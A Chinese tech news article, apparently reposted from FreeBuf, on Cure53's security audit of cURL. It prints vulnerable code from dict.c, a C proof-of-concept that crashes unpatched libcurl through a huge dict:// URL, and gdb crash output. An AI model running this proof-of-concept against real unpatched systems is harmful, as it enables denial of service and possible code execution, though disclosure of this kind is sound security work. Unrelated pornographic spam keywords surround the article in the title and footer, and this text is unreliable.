成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

注意了,cURL的漏洞也不少

安全 漏洞
cURL想必大家都不陌生,它是一款開源的命令行工具和庫,支持多種協議傳輸數據。cURL如今的應用還是比較廣泛的,包括網絡設備、打印機、智能手機,甚至是一些物聯網設備比如汽車。

[[177943]]

安全專家對cURL進行了審計,發現了數十個安全問題,這些漏洞在最新的版本中已經被修復。

cURL想必大家都不陌生,它是一款開源的命令行工具和庫,支持多種協議傳輸數據。cURL如今的應用還是比較廣泛的,包括網絡設備、打印機、智能手機,甚至是一些物聯網設備比如汽車。

主動審計

前不久,cURL開發者、Mozilla員工Daniel Stenberg請Mozilla Secure Open Source(SOS)項目對cURL進行安全審計。

“我請Mozilla Secure Open Source項目進行了一次安全審計。這個項目是由Mozilla尋找第三方公司一起參與,并且最終買單完成的。參與審計的公司名為Cure53。” Stenberg在博客中寫道。“我之所以申請審計是因為最近我感覺存在一些安全相關的問題,我覺得我們在安全方面可能有所欠缺,所以想讓專家們檢查一下。”

Cure53的5名專家對cURL進行了為期20天的審計,發現了總共23個安全問題。

審計結果

這些安全問題中,有9個是安全漏洞。專家融合了其中2個安全漏洞——其中一個被歸類為“plain bug”,因為要在實際攻擊場景進行利用會很困難。另外,審計發現了4個高危漏洞和4個中危漏洞。

高危漏洞的漏洞編號為CVE-2016-8617, CVE-2016-8619, CVE-2016-8622和CVE-2016-8623。這些都是遠程執行漏洞。

比如說下面這個漏洞:

CRL-01-014 unescape_word()整型溢出造成負數數組索引(高危)

dict.c中的unescape_word()函數中存在以下代碼:

  1. static char *unescape_word(struct Curl_easy *data, const char *inputbuff) 
  2.        { 
  3.          char *newp; 
  4.          char *dictp; 
  5.          char *ptr; 
  6.          int len; 
  7.          char ch; 
  8.          int olen=0; 
  9.          newp = curl_easy_unescape(data, inputbuff, 0, &len); 
  10.          if(!newp) 
  11. return NULL
  12.          dictp = malloc(((size_t)len)*2 + 1); /* add one for terminating zero */ 
  13.          if(dictp) { 
  14.            /* According to RFC2229 section 2.2, these letters need to be escaped with 
  15.               \[letter] */ 
  16.            for(ptr = newp; 
  17.                (ch = *ptr) != 0; 
  18.                ptr++) { 
  19.              if((ch <= 32) || (ch == 127) || 
  20.                  (ch == '\'') || (ch == '\"') || (ch == '\\')) { 
  21.                dictp[olen++] = '\\'
  22.              } 
  23.              dictp[olen++] = ch; 
  24.            } 
  25.            dictp[olen]=0; 
  26.          } 
  27. free(newp); 
  28.          return dictp; 
  29.        } 

很明顯,len要比pow(2,31)小,但是輸出可以拓展至兩倍大小,也就是說當olen的值是INT_MAX時,可以被增加。這就會導致有符號整型溢出。

由于olen一直被用作數組索引,負的數組索引就會指向未分配的內存。

要驗證漏洞,可以在6GB以上空閑內存的64位電腦上運行下面的代碼。這個測試會獲取一個超過1GB長的dict:// URL。

  1. #include <curl/curl.h> 
  2. #include <stdint.h> 
  3. #include <string.h> 
  4. #include <err.h> 
  5. #include <stdlib.h> 
  6. int main(int argc, char *argv[]) 
  7.   char *dicturl = malloc(23 + (1ULL<<30) + 5 + 1); 
  8.   if (!dicturl) 
  9.     errx(1, "malloc"); 
  10.   strcpy(dicturl, "dict://localhost/MATCH:"); 
  11.   memset(dicturl + 23, '\"', (1ULL<<30) + 5); 
  12.   dicturl[23 + (1ULL<<30) + 5] = '\0'
  13.   CURL *hnd = curl_easy_init(); 
  14.   curl_easy_setopt(hnd, CURLOPT_URL, dicturl); 
  15.   free(dicturl); 
  16.   curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L); 
  17.   CURLcode ret = curl_easy_perform(hnd); 
  18.   curl_easy_cleanup(hnd); 
  19.   return (int)ret; 

運行會導致如下的崩潰信息:

  1. $ gdb ./negative_dict_url 
  2. [...] 
  3. (gdb) run 
  4. Starting program: [...] 
  5. [...] 
  6. Program received signal SIGSEGV, Segmentation fault. 
  7. 0x00007ffff7b6975b in unescape_word (data=0x63a0b0, inputbuff=0x7fffb0fca017 '\"' <repeats 200 times>...) at dict.c:116 
  8. 116 dictp[olen++] = '\\'
  9. (gdb) x/1i $pc 
  10. => 0x7ffff7b6975b <unescape_word+170>: mov 
  11. (gdb) print/x $rax 
  12. $1 = 0x7ffdf0dba010 
  13. (gdb) print/x dictp 
  14. $2 = 0x7ffe70dba010 
  15. (gdb) print olen 
  16. $3 = -2147483647 

但實際上,審計報告提到,cURL庫的整體安全性和魯棒性都很好。

也請大家不要擔心,新版本的cURL已經上線了,7.51.0版本修復了總共11個漏洞,其中7個是由Cure53的審計團隊發現的,其他的漏洞是由Luật Nguyễn、Christian Heimes和Fernando Muñoz提交的。

Stenberg指出,cURL是一個非常常用的軟件,因此,審計對用戶來說具有重大意義。

“由于curl是世界上最常用的軟件,因此curl如果出現了問題可能對各種工具、設備、應用造成重大影響。我們不希望發生那樣的事。”

責任編輯:武曉燕 來源: FreeBuf
相關推薦

2021-12-26 19:04:51

漏洞Logback系統

2015-08-20 15:14:33

Android漏洞Stagefright漏洞修復

2020-12-08 12:18:09

安卓應用漏洞

2018-09-14 09:55:26

2010-08-31 15:18:31

2022-09-15 12:22:25

cookieDOS 漏洞網絡攻擊

2021-07-07 05:43:47

漏洞網絡安全網絡攻擊

2020-11-05 10:43:50

安全漏洞Github

2022-06-20 13:34:46

漏洞網絡攻擊

2020-10-19 15:52:42

物聯網漏洞IoT

2009-07-20 15:37:09

iBatis like注入漏洞

2014-06-03 10:14:06

2015-08-10 10:26:08

2023-10-10 22:27:42

2016-01-27 14:30:20

2021-05-20 15:00:13

手機關機電池

2020-04-21 15:22:35

ChromeFirefox瀏覽器

2022-04-26 16:52:59

漏洞網絡攻擊者谷歌

2022-05-06 14:40:32

漏洞補丁Android

2019-05-27 22:55:45

GitHub開源贊賞
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 精品一区久久 | 综合久久综合久久 | 国产yw851.c免费观看网站 | 成人午夜免费福利视频 | 欧洲精品码一区二区三区免费看 | 国产欧美日韩在线观看 | 亚洲一区二区三区观看 | 精精国产xxxx视频在线 | 欧美日韩一区二区三区四区五区 | 国产一区二区在线免费视频 | 成人黄色在线 | 国产精品一区在线观看 | xxxxx免费视频 | 欧美日韩国产一区二区三区不卡 | 一区二区三区中文字幕 | 亚洲欧洲成人av每日更新 | 久久黄网 | 午夜影院官网 | 在线亚洲免费视频 | 日日射影院 | 免费在线视频精品 | 日韩精品视频一区二区三区 | 日本特黄a级高清免费大片 成年人黄色小视频 | 久青草影院| 欧美一区2区三区4区公司二百 | 国产精品久久久乱弄 | 日韩久久久一区二区 | 欧美一级做a爰片免费视频 国产美女特级嫩嫩嫩bbb片 | 天天曰天天曰 | 日本精品一区二区三区视频 | 最新av在线网址 | 国产精品久久久久久久久久 | av二区三区 | 羞羞视频免费观看入口 | www.久| 毛片免费观看视频 | 成人福利电影 | 国产超碰人人爽人人做人人爱 | 老熟女毛片 | 国产乱码精品一区二区三区中文 | 亚洲成av人片在线观看无码 |